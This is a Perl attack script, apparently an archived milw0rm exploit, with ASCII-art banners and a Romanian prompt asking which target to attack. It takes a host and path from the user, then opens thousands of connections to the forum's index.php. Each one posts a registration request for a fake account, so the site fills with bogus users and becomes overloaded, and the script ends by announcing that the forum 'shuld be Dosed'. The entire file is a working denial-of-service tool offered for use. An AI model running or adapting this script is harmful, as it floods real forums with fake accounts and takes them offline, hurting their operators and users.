#!/usr/bin/perl
use IO::Socket;

print q{
############################################################

 _                                                         _               _
( )                          _            _               ( )_            ( )
| |       _    _   _   _    (_)  ___     (_)   __     ___ | ,_)   __     _| |
| |  _  /'_`\ ( ) ( ) ( )   | |/' _ `\   | | /'__`\ /'___)| |   /'__`\ /'_` |
| |_( )( (_) )| \_/ \_/ |   | || ( ) |   | |(  ___/( (___ | |_ (  ___/( (_| |
(____/'`\___/'`\___x___/'   (_)(_) (_)_  | |`\____)`\____)`\__)`\____)`\__,_)
                                     ( )_| |
                                     `\___/'
############################################################
};
$rand=rand(10);
print "Pe cine atacam boss?: ";
$serv = <stdin>;
chop ($serv);
print "//: ";
$path = <stdin>;
chop ($path);
for ($i=0; $i<9999; $i++)
{
$name="sedXPL_".$rand.$i;
$data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sedbotbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1&allow_member_mail=1&day=11&month=11&year=1985&agree=1";
$len = length $data;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Cennot Connect Host, it's can be beacuse the host dosed";
print $get1 "POST ".$path."index.php HTTP/1.0\n";
print $get1 "Host: ".$serv."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT, "



    ,---,
  .'  .' `\        ,---,
,---.'     \     ,---.'|   ,---.
|   |  .`\  |    |   | :  '   ,'\   .--.--.
:   : |  '  |    |   | | /   /   | /  /    '
|   ' '  ;  :  ,--.__| |.   ; ,. :|  :  /`./
'   | ;  .  | /   ,'   |'   | |: :|  :  ;_
|   | :  |  '.   '  /  |'   | .; : \  \    `.
'   : | /  ; '   ; |:  ||   :    |  `----.   \
|   | '` ,/  |   | '/  ' \   \  /  /  /`--'  /
;   :  .'    |   :    :|  `----'  '--'.     /
|   ,.'       \   \  /              `--'---'
'---'          `----'
                                 ";
}
print "Forum shuld be Dosed. Check it out...\n";

# milw0rm.com [2006-02-10]